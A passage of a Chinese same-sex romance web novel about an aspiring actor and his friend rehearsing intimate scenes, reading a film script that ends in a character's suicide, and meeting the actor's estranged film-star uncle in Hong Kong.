叶幸司刚打完一通电话,去厨房开了瓶水过来,站在俞悄身后望着电脑:“好找吗?” “先找了几部经典的。”俞悄打开桌面上专门建立的文件夹。 他故意停顿了会儿,让叶幸司看清文件夹的名字:直男教材。 “什么东西。”叶幸司笑了一下。 “还有我花钱买的两部呢,一部五块,你得给我报销。”俞悄狮子小开口,“就给我五十吧。” 微信“嗡”一声,收到叶幸司的转账,五百。 “你是真有钱了。”俞悄毫不客气地收下,“怎么没想着换个房子呢?” 叶幸司依然租住在他这个摇摇欲坠的小破楼里,俞悄每次过来都大费周章,车底盘都没少剐蹭。 他按照一般人的逻辑,以为居住环境会是叶幸司赚到钱第一步改善的东西,结果人家提都没提过,好像准备跟这破楼同生共死。 “不是我现在需要考虑的东西。” 叶幸司真的心思都扑在演戏上,连对这话题的兴趣都没有,扫了眼文件夹里的片名,他攥着水瓶的手臂伸过来,指了指屏幕。 “先看这个。” 《春光乍泄》 这可真是经典款,俞悄仅有的两部同性题材观影体验,其中一部就是它。 他双击播放,有些意外地转过脸:“你没看过?” 叶幸司一手撑在椅背上,另一只手刚刚收回,按着俞悄的脑袋,把他转回去。 “没细看过。” 俞悄顶着叶幸司的手又扭过头:“你不好意思啊?” 叶幸司抿抿嘴,重新把他扭回去。 叶幸司的“没细看”究竟粗略到什么程度,俞悄不清楚。 但《春光乍泄》开头是什么内容,他可是印象深刻。 鲜红的片名展示后,优雅低沉的粤语先画面一步,从音响里溢出来。 俞悄眼珠子乱转,眼皮子一掀一掀的,蹭着转椅往旁边挪,给叶幸司腾位置,假装自己很忙碌。 叶幸司拽张凳子在他身旁坐下,两人的胳膊相擦,触感无端地放大了几十倍。 当那两具成熟男性的躯体越发清晰,呈叠摞状态冲击在眼前,俞悄屁股长草似的猛然站起来:“哎,我给你带了个东西,扔车里给忘了。” 他连忙从电脑前逃离,是真不好意思和叶幸司一起看,也是真有东西要去拿。 叶幸司没问也没拦着,十分自然的“嗯”一声,目光没从屏幕上移开,好像是个全无杂念的艺术家。 俞悄捞起车钥匙跑下楼,外面在下小雨,等他回来,那些片段早过去了。 他晃晃脑袋,从卫衣里掏出个小黄鸭造型的东西,献宝似的托着个小机器给叶幸司:“看。” “什么?”叶幸司按下暂停,看向俞悄,“周东雨?” “说啥呢!”俞悄乐了,把叶幸司扒拉开,趴在电脑前捣鼓,“投影仪。” 前两天叶幸司让他找骗子,俞悄就给他定了一台。 新的还没到,今天他过来前想起这茬,把俞小雨房间的小投影仪给要来了,还被勒索了二百块钱。 “电影还是得大屏看。就是没幕布,清晰度差一点。” 他快速连接完完,端着投影仪在屋里看一圈,直接搁在沙发顶上。 “来。”俞悄观赏大灯,拍拍沙发让叶幸司一起坐下。 设备一更换,影片进度也更新了。 俞悄越过叶幸司,欠身朝电脑桌上够,想快进一下。叶幸司应该是嫌碍事,弹弹他的腰:“不用动。” “哦。”俞悄后背一麻,老老实实缩回去。 下着细雨的阴天傍晚,没开灯的房间,舒适安逸的沙发,与窗外空气一样潮湿细腻的电影。 俞悄占据着沙发一头,原本规规矩矩地缩着。 随着剧情发展,他的心思完全沉浸在电影中,整个人越来越放松,从缩着变成歪着,从歪着又出溜成斜躺着。 俞悄第一次看《春光乍泄》还是刚发觉性取向的时候,宛如猪八戒吃人参果,囫囵吞枣,注意力全被片头吸引了。 印象最深的画面,除了肉|体,就是何宝荣将满满一桌万宝路推散一地,像个小孩一样蜷缩起来大哭。 这次认真地看下来,年龄和心态都有所成长,也多了许多感受。 想想后面那段剧情,他晃晃搭在叶幸司膝盖上的脚,轻轻叹了口气。 “现在的何宝荣还觉得,不论到了什么时候,只要他一句话,黎耀辉就永远会一遍遍回来找他。” 俞悄心里胀胀的。 “但真正想离开的人可以回一千次头,只要下定一次决心,就不会再出现了。” 叶幸司没说话,他也沉浸在电影里,握了握俞悄的脚踝。 这是一个完全下意识的动作,就像有时候玩着手机会跷脚,或者认真看东西时,随手抓点什么捏着玩。 叶幸司握得十分自然,他用拇指一下下刮着俞悄凸起的踝骨,指腹蹭到他毛茸茸的袜子边就刮回来,如此循环。 节奏稳定,频率都没变一下。 可俞悄在被他攥上的那瞬间就清醒了。 什么东西,死脚怎么跑叶幸司腿上去了! 他瞪着自己的脚,像在瞪一对假肢。 特没听说过脚踝是敏感部位啊!怎么会这么麻。 俞悄僵着腿一动不敢动,一边不好意思一边偷偷享受,按耐着想缩脚的冲动,假装自己也没意识到,红着耳朵捞了个沙发枕抱着。 再看向投影,好死不死,正好播到路人在黎耀辉腿间埋头的场面。 叶幸司摩挲脚踝的拇指一下停了。 很奇怪,明明是电影里的人在做事,反应那么大的也不是俞悄自己,可感受到叶幸司中止的动作,俞悄半截身子直接麻到脚,好像做了坏事被抓包一样心虚,闷头啃着指甲继续装没事人。 “你也会这样?”叶幸司发表了电影播放到现在,第一句问话。 “什么?”俞悄没听懂。 叶幸司朝电影抬抬下巴:“‘寂寞的时候,所有人都一样’。” “你有病吧!”俞悄蹬他一脚,顺势把腿蜷回来,“我都没……” 他话没说完,不好意思说。 叶幸司的目光转过来,在昏暗的房间里盯了盯俞悄的脸,然后视线下滑,经过他胯间时,似有若无地顿了顿。 “你看什么!” 俞悄抄起沙发枕一把盖住,红着脸嚷嚷。 第57章 叶幸司这个目光的停驻也是下意识的,俞悄反应这么大,把他都给逗乐了,笑着问:“我看什么了?” “你再装!”俞悄脸都红到脖子根了,又是两脚。 脚踝又被叶幸司给攥上了,他像哄小孩,抻了抻俞悄:“好了,别闹。” 叶幸司抓得很自然,俞悄往外挣两下,他也没松开。 俞悄给台阶就下,不再假模假式的往回收腿,抱着沙发枕歪回去。 《春光乍泄》有种魔力,它的节奏很轻快,连片尾曲都那么轻快,看完后却只让人想叹息。 很现实,但终归是文艺的,文艺到很不现实。 “怎么样?”俞悄观察着叶幸司的表情,好奇他的感受。 叶幸司“嗯?”一声,想问题的角度和俞悄的感性完全不是一个方向:“我在想,他们拍亲密戏的时候会不会笑场。” 俞悄盯他一会儿,满脸无语地播放下一部。 同性电影里总少不了那些画面,《春光乍泄》还算矜持,其他电影一部比一部有画面。 当被子一掀,漏出男演员全无遮挡的年轻身体时,俞悄惊呼一声“妈呀”,脚趾都抠紧了。 “你会不会……”这次轮到他问叶幸司。 “什么?”叶幸司也不知道是装的还是真那么专业,脸上毫无异样。 “不会到时候让你也脱光吧?”俞悄想想就既别扭又刺激,“你能接受吗?” “如果剧情需要的话。”叶幸司说。 “那让你跟别的男演员拍这些画面呢?” 俞悄想象到这里,只剩下别扭。因为不用问也能猜到叶幸司的态度。 “算了你别说了。”他心口一酸,“你专业,你为戏献身。” 叶幸司真不说话,专注看电影,俞悄望着投影里亲得如胶似漆的俩人,又受不了了。 “那亲嘴呢?”他直接坐起来,怼咕叶幸司的胳膊。 一股挟着雨气的风穿过阳台,与叶幸司的目光一同扑到俞悄脸上。老旧的窗棱“砰”一声撞上墙壁,像雷击,俞悄心头一震,瞳孔在叶幸司的注视下猛地放大。 “陪我练练吗?”叶幸司声音低沉,并不是询问的口吻。 “……需要吗?”俞悄半天才从嗓子眼里嗫嚅出声。 叶幸司没说话,昏暗的房间里只有投影仪的光芒,他环着俞悄的腰把人搬到自己腿上跨坐着,学着电影里的亲法,吮上俞悄的喉结。 “嗯……”俞悄控制不住地哼唧一声,眼皮和腿根一起发颤,心脏麻成一团。 下巴被叶幸司的头发蹭的发痒,他闭着眼睛仰首,叶幸司沿着脖颈一路向上,些微的停顿后,压上俞悄哆嗦的嘴唇。 俞悄搭在叶幸司肩膀上的手,猛地攥紧了。 这对吗? 浑浑噩噩的舒爽里,俞悄努力想让他的头脑清醒,既害怕又沉迷。 齿列被撬开让他羞耻到极点,可根本拒绝不了,他像只无助的蚌,在叶幸司的攻势下毫无自保的能力。 “叶……” 舌尖相触,俞悄被电得直往后躲,立马就被叶幸司箍着腰摁下去。 发烫的掌心即便隔着衣服也十分鲜明,往下一滑,握住了俞悄的皮鼓。 俞悄眼一睁,五迷三道的脑瓜子直接麻清醒了,他条件反射地往上一窜,牙齿从叶幸司舌尖上错过去。 叶幸司闷哼一声,皱着眉把他放开。 “你怎么……对不起,咬着你了?” 俞悄心跳快得要命,刚抗议三个字,看叶幸司这反应,忙又去捧人的脸。 “我不是故意的,出血没有?疼不疼啊?你……谁让你伸舌头了!” 这还是俞悄第一次正儿八经地舌吻,脑仁儿到现在都发晕。 亲嘴也太舒服了,这谁能糟住啊! 要不是叶幸司捏着他麻筋……不对。 俞悄在心里甩自己一嘴巴。 你完了俞悄,想啥呢! 他在这呼吸紊乱不知所措,叶幸司缓过劲儿来,舌尖顶了顶颊侧,又朝俞悄某个部位望过去。 “卫生间在那。”他示意俞悄。 “什么?”俞悄愣愣地朝下看,才发现自己又渤起了。 无言地瞪了自己一会儿,他二话没说,翻身跳下沙发,抓着车钥匙直接跑了。 收到叶幸司让他到家发个消息的微信时,俞悄刚把车停在小蜡的舞蹈班门口,拿起手机看一眼,丢人得连回复都没脸回,直接扔到后排。 小蜡从楼里推门出来,他应该是刚洗完澡,头发半湿地披散着,看见俞悄的车就呲着牙乐。 “哟,小帅哥。”他敲敲车窗,弯腰跟俞悄打招呼,还挤了挤眼。 “上车吧,别骚了。”俞悄靠在座椅里半死不活。 他跟小蜡现在是真没有秘密了。 从叶幸司家楼下冲出来,俞悄肾上腺素还在激增,不敢上路,必须找人说说话。 小蜡那头一接听,没等他开口就问:“你俩又干嘛了?” 俞悄一阵无语,小蜡笑着让他别打电话了,难得这阵子都在家,让俞悄直接来舞蹈室接他,一起去吃点儿东西。 “第一次是卡戏,亲了你一口。第二次是你喝多了犯贱。这次呢?” 坐在火锅店里,小蜡一筷子羊肉下去,用筷子点点俞悄。 “这次又是什么借口?” “什么叫借口。”俞悄吃不下,他嘴麻,一杯杯地灌酸梅汤,“就是练戏啊。” “练吻戏。”小蜡点点头,“嗯嗯,是这样的,男演员想火都得先跟男的亲嘴。” “真的假的?” “当然是假的。”小蜡气笑了,“你有病啊?” “别骂我了。”俞悄受不了地抱住脑袋,“我也知道这不正常,那我就是喜欢他啊。” 喜欢到当时跟周行东都没好意思这么亲密,面对叶幸司却像下了蛊似的,老往人嘴唇子上琢磨。 还一亲就硬。 从叶幸司的角度,自己跟那种性骚扰的变态有什么区别? “难道这就是传说中直男的魅力?” 俞悄认真地疑惑着。 面对面的小蜡,跟电话里的小蜡,本质上还是一样的贱,可态度是有变化的。 盯着俞悄打量一会儿,他包着满嘴的羊肉开口道:“有没有一种可能……” “你把肉都吃了?”俞悄朝锅里望一眼。 “你又不吃。”小蜡立马抄起筷子,跟俞悄抢夺锅里最后几片肉。 “有没有一种可能,”他边抢边接上刚才的话,“叶幸司也不是什么好鸟。” 俞悄动作一慢,只捞到一片肉,愣愣地望着小蜡:“啥意思?” “你老说他直男直男的,我反正没遇见过老跟男人亲嘴的直男。” “刚还捏我屁股了。”俞悄说。 “哟哟哟,还捏你屁股了。”小蜡笑着挤眉弄眼,被俞悄在桌子底下蹬了一脚。 “所以说啊,”他趁乱把俞悄碗里的肉也夹走,“到底是谁占谁便宜呢?” 这问题俞悄还真没想过。 “他是为了练戏啊。”因为他知道叶幸司是怎么回事。 小蜡恨铁不成钢:“你还替他找借口!” “哎,不是。”俞悄抓抓脸。 他本来不想跟小蜡说左槊那个电影的事儿,八字还没一撇呢就满世界嚷嚷,他觉得很无脑。 也多少带点私心——知道的人多一个,叶幸司的竞争对手也就多一个。哪怕人小蜡压根不是演员。 “就是他最近想争取一个电影角色,”俞悄尽量隐藏关键信息,“那个角色的设定就是同性恋。” “左槊啊?”小蜡打断他。 “……你怎么知道?” “谁不知道?”小蜡一下就猜到了俞悄的小心眼儿,好笑地打趣他,“谁没点自己的情报网啊。” “啊反正就是这么回事,”俞悄不好意思地托着脸,“他那种戏疯子,提前找状态很合理啊。” 小蜡默不作声地把肉吃完,点点头:“倒也是。” 俞悄往桌上一趴。 “那你还沮丧啥呢,借口都给人找完了。” 小蜡只吃肉,吃完就撂筷子。 “你喜欢他,又不想谈恋爱,正好他也是直男,你俩练练亲嘴什么的,双方互惠啊。” “要是我偷乐还来不及呢。” “我不知道。” 俞悄脑门抵着桌沿,声音闷闷的。 刚才在叶幸司家有多意乱情迷,这会儿的俞悄就有多怅然若失。 他觉得自己像一个小偷。 不敢向觊觎的人大胆承认,不愿承受喜欢一个人所带来的负面影响,又抵抗不住诱惑,找着各种借口,从东边偷一点开心,从西边偷一点快乐。 偷窃的瞬间是刺激的,但到底不是自己的。 小蜡轻轻叹了口气,五音不全地哼哼:“所以暧昧让人受尽委屈呀。” 算暧昧吗? 俞悄认真想了想。 暧昧起码都是双方的心知肚明,只差那一层玻璃纸。 他和叶幸司就算亲出花来,也全都是为了角色,为了拍戏。 “如果是你呢。”俞悄抬头问。 “我?”小蜡像是觉得这个问题很有趣,嗤笑一声,“换我套都用完一盒了。” 俞悄装没听见,抱着脑袋朝旁边看。 他就知道,小蜡嘴里正经不过三句,根本不是个好人。 “哎我说真的。”小蜡还在认真地瞎出主意,“你直接找个机会跟他上床吧,肉吃到嘴里了就不惦记了。” “你结账。”俞悄清清嗓子,惦记着手机还在车里,起身往外走。 “我说真的!”小蜡扯着脖子喊。 回到车里,俞悄从后排摸过手机,点亮屏幕就眼皮一跳。 叶幸司的两条未接来电,还有一个未读消息。 叶幸司:? 第58章 人有时候就是挺欠的。 俞悄以为出了什么大事,忙给叶幸司回过去,说自己刚在吃饭,还连着回了两条,问他怎么了。 叶幸司找人找得多火急火燎似的,俞悄回复了,他又慢悠悠地回过来一句:没事。 俞悄:? 俞悄:关心我啊? 叶幸司:嗯。 俞悄攥着手机在座椅里扑腾两下,叶幸司打三个字,又给他哄得心花怒放。 左槊电影的试镜机会,和剧本细纲是一起发过来的。 《半地鸡毛》 俞悄咂摸着这个名字,细细地把大纲又看一遍,着重翻阅后半部分。 男主李凡本就因为诸多事情焦头烂额,叛逆妻弟方奇妙前来投奔,让他更加心神俱疲。 方奇妙不论从性格还是衣食住行,甚至连名字,跟李凡都是两个极端。 晚来得子让岳母一家都十分溺爱这个幼弟,但当初迫于做生意没空照料,把方奇妙寄养在乡下外婆家,隔辈亲更是把他宠得无法无天,根本没人管得了他。 同龄人还在备战高考,他却因为多次打架斗殴被勒令退学,在岳母和妻子的要求下,不情不愿的来到城里接受管束。 李凡去接方奇妙的路上,俩人就互相看不对眼。 五颜六色的头发,乱七八糟的衣服,方奇妙吊儿郎当的形象已经很让李凡讨厌了,他鼻翼还有个亮晶晶的鼻钉,并且烟不离手,脏话不离口。 李凡假模假式地关心他几句,方奇妙听得不耐烦,一扬手还要揍这个碎嘴子的姐夫一顿。 本来把方奇妙扔去岳母家就完成任务了。 但妻子想念弟弟,岳母也想让李凡帮忙给方奇妙找个学校,母女俩一通煽乎,李凡拗不过产后抑郁的妻子,只能把方奇妙带回家里。 然后各种鸡毛蒜皮的矛盾又升级了。 不洗衣服、内裤乱扔、撒尿不抬马桶圈、吃完喝完的零食不收拾、房间乱得像猪圈……这些李凡都无可奈何地忍让下来。 最让他受不了的,是有一次方奇妙在卫生间打飞机没锁门,李凡没注意推门进去,方奇妙不仅没收手,还恶狠狠地盯着姐夫,加大了动作幅度。 注意到方奇妙套用的东西是自己的衣服,李凡忍无可忍,把方奇妙送去学校寄宿。 寄宿没多久,方奇妙又因为打架,被校方要求休课回家反省。 李凡去学校接他,结果这次的方奇妙蔫头巴脑,自己的脑门和眼角也破了,看起来老实又难得的脆弱。 李凡当时正面对被裁员的危机,心力交瘁,也懒得多说,自己买了一提啤酒找个公园坐在那喝。 两人进行了第一次谈心,李凡知道了方奇妙的取向,也得知了他这次打架就是和他那校外的混混男朋友。 至于上次打飞机事件,纯粹是方奇妙故意恶心这个姐夫。 “不过有时候想想,你这种老实巴交又无聊的人,干起来应该也蛮有意思的。” 方奇妙口出狂言,被李凡揍了一拳。 这天之后,两人的关系反倒缓和了。 方奇妙逐渐乖顺起来,像是野人终于逐渐适应了都市生活,虽然还是叛逆,但不再那么肆无忌惮,还帮着李凡解决了点人际上的小问题。 而李凡的转折,也是在所有问题大爆发,完全无力时,方奇妙给他出的主意。 “你跑吧。” 方奇妙在剧本里的原话是这么说的。 “我看你都累。为什么要管那么多人,你还有自己的生活吗?你跑出去十天半个月,谁都别联系,回来就会发现一件事。” “地球离了你照样转。” 说这话的末尾,两人在酒精的作用下,还接了个吻。 一个是早已渴望挣脱的灵魂,一个是始终不羁放荡的灵魂,在那一刻,达成了奇异的共鸣。 于是李凡真的跑了。 他把手机卡扔掉,什么都没带,对谁也没说,包括方奇妙,就这么突然的消失了。 李凡消失了四个月零三天。 在这期间,他的母亲病情恶化,半夜上厕所的时候摔断了盆骨;妻子产后抑郁加剧,丈夫的失踪让她崩溃,自杀未遂;而方奇妙没能拒绝已经分手的混混男友,被诱哄着接触了毒品。 李凡在消失的四个月里也并不自由。 起初两个月他确实感到很轻松,可这轻松很快就转变为焦虑——他开始思念一切,他发现他根本没办法真正摆脱生活的牢笼,那些桎梏着让他喘不过气的责任,恰恰也是供给他生命的养分。 没有人能不受束缚的生活,只要有了牵绊,兼带的酸甜苦辣便都不可避免。 一地鸡毛是真的,乐趣也是真的。他的性格让他无法放弃责任,这一发现让李凡痛苦又安心。 在李凡准备回归家庭的前一晚,方奇妙找到了他。 两人并肩躺在李凡租赁的木舟上,望着都市里早已难见的银河,说了一整晚的话。方奇妙事无巨细地跟李凡汇报了这三个月的变化。 ——李凡的老妈虽然摔断了盆骨,但老太太恢复还可以,还很神奇地一跤摔好了先前的老病;姐姐自杀未遂后大哭了一场,醒悟过来自己轻易放弃生命多么愚蠢,现在已经恢复了生气;李凡儿子的幼儿园申请,也阴差阳错的捡漏了人家的名额,都解决了。 “我说什么来着,没有谁离了谁活不下去。只要没有真正走错路。” 方奇妙闭口不谈自己的事。 李凡没有看出异样,只觉得方奇妙瘦得惊人,但开朗,乐观,喋喋不休,眼神纯净,一改最初相识的样子,像是长大了。 这一变化让他很开心,有种一切都在变好的快乐感。 天色蒙蒙亮,李凡急切地催促方奇妙上岸,跟他一起回家。 “我困了。” 方奇妙没动,脸色像天际的鱼肚白,苍白到雾蒙蒙的。 “你先回去吧,这里真挺舒服的,我要在这睡一觉。” “会着凉的。”李凡说。 “那你抱我一下。”方奇妙笑着看他。 李凡踢了方奇妙一脚,没再管这个放纵惯了的妻弟,转身上岸。 那句“会着凉的”,与没有给予的拥抱,便是李凡和方奇妙的最后一面。 方奇妙在手机上打了几行字,然后在小船上割腕,将胳膊泡进河水里。 随着太阳跃起普照万物,他懒洋洋地抬起另一只胳膊挡在眼上,嘴角受委屈一样缓缓瘪了下去。 方奇妙的遗书发送到李凡手机里时,他正坐在回家的火车上。 遗书很短,只有一句话:你是个很无聊的人,但挺幸运的。 “没了。” 俞悄看到最后一句,将纸页来回掀了三四次,发了半天愣。 “怎么不骂了?”叶幸司等着他的反应。 “这还咋骂。”俞悄吸溜一下鼻子,“比我以为的那种结局好得多。” 叶幸司笑一下。 “左槊还是左槊啊……”感慨到一半,俞悄猛地住了口,转头瞅着叶幸司。 “又怎么了。”叶幸司问。 “那你如果拿到这个角色,”俞悄神色复杂,“岂不是要跟好几个男的亲嘴啊?” 叶幸司一脸无聊地看着他。 “你还得当众打飞机。”俞悄朝他那个部位瞄,“哦豁。” “有病。”叶幸司转身走了。 “演你那混混男友的是谁啊?”俞悄已经把叶幸司代入进方奇妙了,追着问,“什么时候去试镜?” “收拾东西。”叶幸司一件衣服飞到他脸上,说出发就出发。 完整的故事让俞悄对《半地鸡毛》不再排斥,虽然方奇妙的死让他伤感,可他还蛮喜欢这种遗憾的结尾。 关键是戏份出乎意料的还挺多。积极地催促叶幸司争取角色。 左槊现在定居香港,他没像林二部和程立方那样,声势浩大地组织试镜会。 俞悄不知道是拍电影的规矩和拍电视不同,还是左槊有自己的想法——他给叶幸司的试镜地址,直接就是他在香港的家。 是家不是工作室,这消息还是从瞿承衍口中知道的。 瞿承衍这人是真厚道,得知叶幸司要来试镜了,他还专门推出来半天时间,亲自开车来接人。 “送佛送到思一嘛。” 瞿承衍在他的生态圈里显得自在很多,普通话也更加灾难,《天王》那几个月练出来的口语,全还给剧本了。 “我推荐的幸司,当然邀把你引兼锅去。不过槊哥会直接给你他家里的地址,我还蛮意外的。” “他家?”俞悄坐在后排,立马扒着前座紧张起来,“他的取向会不会……” “不会。”叶幸司和瞿承衍异口同声。 “你俩这么清楚?”俞悄疑惑地瞅瞅两人。 瞿承衍应该也有点意外,扫了眼叶幸司,但是很有分寸地没多问,只笑道:“反正细锅好机会,我觉得你蛮合细的,要加油哦。” 说着,他还拍了拍叶幸司的肩。 叶幸司从下了飞机就没多说话,对瞿承衍道了声谢,隔着墨镜瞅窗外的街景。 左槊家在一片明星社区,俞悄知道这里,据说很多大腕都在这里有房产。 进小区时他勾着脑袋瞅了半天,很遗憾偶遇了零个人。 车库保安已经就位,举着小牌子示意瞿承衍往里停。 俞悄下车瞅瞅一地库的名车,在心里“啧”一声,跟着两人直接进了旁边的电梯。 和左槊现实中的第一次见面,跟俞悄想像中完全不一样。 电梯直升二楼,开门就是一整片海景落地窗,一个中年男人穿着浴袍擦着脑袋走出来,看不清面容,他从毛巾缝隙里瞥了眼叶幸司,嘴角几乎没有幅度的牵了一下:“太胖。” 叶幸司还胖? 俞悄眼珠子差点飞出去。 不是大哥你谁啊! “我不会减吗。”叶幸司的语气更不客气。 俞悄吓一跳,连忙扯他。 “哎呀,自己的侄几。”瞿承衍熟门熟路的换拖鞋,“辣么久没见,槊哥别介么冷淡。” “谁?!” 俞悄发出被门夹了一样的动静,将三人的目光一齐吸引过来。 第59章 中年男人的视线从毛巾缝隙间射过来,像小左飞刀,上下审视了俞悄两眼。 看清楚他的正脸,俞悄才敢确定,这人就是左槊。 这些做演员的都有一点很神奇的共性,就是演员现实中往往比二维平面里的五官更加深邃,但荧幕里那一眼就能认出的强烈个人风格,却被奇妙的淡化了。 或者说,是现实中真正遇见时,让人不敢直接将眼前的这个人,与那个闻名世界、中外影坛响当当的人物,影帝左槊联系在一起。 眼前的左槊也许是因为刚洗完澡,没有化妆,比俞悄印象中的左槊要显老一些。 可并不是那种苍老。 他目光锐利,穿成这样随随便便的也半分不显得邋遢,浑身透露着那种长期处于光芒下的随性贵气,气质却是深沉稳重、甚至带点儿不怒自威的。 这是一把懒得藏锋的陈刀。 俞悄悄悄咽了下喉咙。 曾经他把类似的比喻用在瞿承衍身上,然而左槊的气场面前,瞿承衍简直就是一个新兵蛋子。 至于叶幸司。 俞悄在他和左槊脸上来回梭巡,越看越感到震惊和迷茫。 他更没办法把左槊和叶幸司联系在一起。 这两个人完完全全、从头到脚、一丁点儿,都不像。 唯一能说得上相似点的,是两人凝视人的时候,目光里都有一种先天的侵略性,都带着生人勿近的气场。 可别管是眼神还是七场八场的,这玩意儿跟五官也没关系啊! 俞悄要崩溃了。 瞿承衍口中的“侄几”如果是他理解的那个“侄子”,那不是开玩笑吗! 圈内演技最烂的糊咖,与纵横影坛二十年的影帝,叔侄? 俞悄突然闪回起每次提到左槊时,叶幸司不愿多谈的态度;以及纪繁西那么一个看重利益的实际女人,屡屡给叶幸司找机会,硬拖着不撒手。 曾经面对俞悄的好奇,纪繁西还很头疼地说过一句“他不一样”。 俞悄傻愣愣地跟面前这几人对视。 一群王八蛋,你们挺能藏啊! “这位是?”左槊问。 “我助理。”叶幸司说。 “你过来。”左槊转身就朝三楼走。 我吗? 俞悄抬了一步脚,瞿承衍笑着拉住他,叶幸司从他身旁径直过去,跟着左槊上楼了。 瞿承衍在左槊家很轻松,指了指沙发,让俞悄“随便作”,去茶几上翻出来一套茶具泡茶。 “承衍哥,”俞悄半天才从震惊中缓过来,问瞿承衍,“叶幸司是左……老师的侄子?” “啊,你不几道吗。”瞿承衍也挺意外。 “我不几道啊!”俞悄又想抓狂了,“也没人告诉我啊!” “我也是最近才几道。”瞿承衍做了个安抚性的手势,“可以理解你的惊讶。” “亲的?”俞悄反复确定。 瞿承衍“嗯哼”一声。 也是。 俞悄细想想,这样就合理了。 否则左槊电影男二这种机会,瞿承衍这么大的腕儿,为何会从中间牵线搭桥,还专门来接他们。 “那你和左老师?”俞悄学聪明了,谨慎地询问。 看他在左槊家这么自然的样子,可别又沾亲带故的,再整个外甥什么的出来。 “我算是槊哥的徒弟,他很提携我。”瞿承衍大大方方地说。 这一点倒是隐约听说过。 俞悄有些印象。 瞿承衍出道早期,左槊很欣赏他,这俩人合作过的作品,比叶幸司拍过的戏都多。 “那为什么方奇妙这个角色你没要?” “我老了嘛。”瞿承衍大方又坦诚,“不符合设定。” “哪有。”俞悄立马否定,“你们都是蜥蜴人。” “审么人?”瞿承衍没听清。 “大好人。”俞悄干巴巴地说。 他还想跟瞿承衍八卦这俩人看着也不像呢,三楼“砰”的一道摔门声,叶幸司绷着脸出来了。 “怎么样?”瞿承衍问。 “这么快?”俞悄和他同时开口。 “脾气一点儿没改。” 左槊趴在三楼的围栏上,用一种嘲讽的眼神俯视着叶幸司。 “狗屁演技没有,心比天都高,你就不是做演员的料。” 这叔叔是好人吗! 俞悄心口被掐一下似的,左槊在他心里的形象已经完全崩塌,完全就是个傲慢自大,还不提携后辈的刻薄鬼。 如果不知道左槊和叶幸司的关系,看他这个态度,俞悄肯定要张嘴为叶幸司辩解。 可眼下根本没有他插嘴的资格。 俞悄只能立马起身迎向叶幸司,试图从他的表情里分析出刚才对话的内容。 “哎,槊哥。”好在瞿承衍在中间缓和的气氛,“幸司进步痕大的,否则我也想不到向你推荐他。” “承衍哥。”叶幸司淡淡地喊他一声,示意不用多说。 然后他定住脚,抬头盯着左槊。 “说好了,二十斤。” 左槊微微一摊手,是一种成熟男人漫不经心的潇洒。 “二十天。”他朝叶幸司晃晃两根手指。 叶幸司“嗯”一声,攥着俞悄的手腕,头也不回地走了。 进电梯时,瞿承衍应该是想追出来,俞悄听见左槊也隐约带上怒火的声音:“不用管他。” 俞悄此刻的心情很复杂。 从刚才到现在,连十分钟都没到,他接收到的信息却远远超过了他能理解的范畴。 叶幸司和左槊的叔侄关系让他惊讶,同时有点儿生气,有种全世界都知道,就瞒着他一个人的不爽。 可细想想,他也没资格不爽——除了叶幸司,不也没几个人知道他和纪繁西的关系吗。 这让俞悄更不爽了。 想到纪繁西,俞悄又为叶幸司和左槊这仇人一样的相处感到好奇。 俞悄的家庭太和谐了,他一直到初中都打心底里自然地以为,全世界的亲戚都是他们家这样的相处模式,电视里那些亲戚打架的事例,是极少数中的极少数。 后来他才知道并不是,妯娌不和,婆媳不和,甚至兄弟姐妹不和的家庭大有人在。 可叶幸司和左槊这种程度的不和,以俞悄的经历真的看不懂。 左槊到底是不是要给叶幸司机会? 如果要给的话,前面那么多年,为什么就冷眼看着自己的亲侄子在末层扑腾,连口米都没撒一把? 那现在又摆出施恩一样的姿态来给机会是因为什么? 二十天二十斤又是什么? 俞悄满肚子情绪和疑问,但看着叶幸司绷紧的嘴角,他什么都没说。 “我知道这附近有家店特别好吃。”他停下脚,拽一下叶幸司的胳膊,“饿晕了,你陪我去吃啊?” 叶幸司也停下来,望了会儿俞悄,他闭闭眼,从胸腔里沉沉地呼出一口气。 “嗯。” 捋一把俞悄的后脑勺,他又变回了那个什么都影响不了他的叶幸司。 “所以,你必须在二十天以内减掉二十斤,才给你试镜的机会?” 临海的精致敞篷小伞下,俞悄捏着一块菠萝油,问出了叶幸司和左槊那几分钟里的对话。 “嗯。”叶幸司一条胳膊向后搭在椅背上,另一只手端起咖啡啜了口。 满桌子吃的,他动都不动一叉子。 “只是试镜的机会?不是给角色?”俞悄反复确认。 叶幸司望着俞悄笑了下:“对。” “神经病吧!”俞悄笑不出来,菠萝油也吃不下去了,往餐盘里一摔。 叶幸司跟左槊肯定还吵了别的,但他没说。 因为这会儿他平复下来,眼里只剩下对于方奇妙这个角色势在必得的野心,全无怒意。 就像他争取任何一次机会时一样。 “正常的。”他还安慰俞悄,“方奇妙后期吸毒暴瘦,我现在的状态肯定没法演。” “那也得是角色到你手里了才减啊!”俞悄理解不了。 “先让你减,还二十天二十斤,才只给个面试的机会。”他又气又心疼,鼻腔都有点发酸,“那到时候给不给你角色不还是他说了算?万一不给呢?白折腾人啊?” “那就是我自己的问题。”叶幸司说。 俞悄沉默了。 他埋着头往嘴里塞菠萝油,偷偷把溢出的眼泪花抹掉。 “随便你。” 他赌气似的大吃大嚼,还得压着嗓子里的哽咽,不让叶幸司听出破绽。 “瘦死拉倒,我是不管你,我每天都要吃一大堆。” 叶幸司盯着俞悄看一会儿,在桌子地下踢踢他的小腿。 俞悄跟头毛驴子似的,尥着蹶子不让碰。 “你咋没告诉过我啊?” 把心疼都咽下去,俞悄瞪着眼珠子开始算账。 “什么?”叶幸司还装傻。 “左槊是你叔,什么。” “没什么好说的。”叶幸司朝远处看,依然一副不愿多提的样子。 “你俩也不像呢。”俞悄换了个问题。 “他整容了。”叶幸司张口就来。 俞悄抿着嘴憋了半天,还是憋不住爆笑出声。 “你别诋毁了,左槊年轻时就长这样。” 叶幸司难得露出点神秘的表情,刮了刮自己的鼻尖,又指了指眼角。 “这两个地方。” “真的啊?”俞悄声音都压低了,也跟着摸自己鼻子。 “嗯,一点点。”叶幸司继续喝咖啡,“效果很好,乍一看没什么区别,气质确实不一样。” “真是。”俞悄搜着左槊年轻时的照片,极力对比,“好像是有点儿。” “那也还是看不出来像一家子啊!” “我随我妈。”叶幸司淡淡道。 “啊,”俞悄点点头,“那就对了,我也更像我妈,俞小雨随我爸。” “那你是纯天然的吗?”他又好奇地问。 “你要摸摸吗。”叶幸司向前倾身。 俞悄像一截弹簧,人家靠近了他就往后躲,红着脸嘟囔:“神经。” 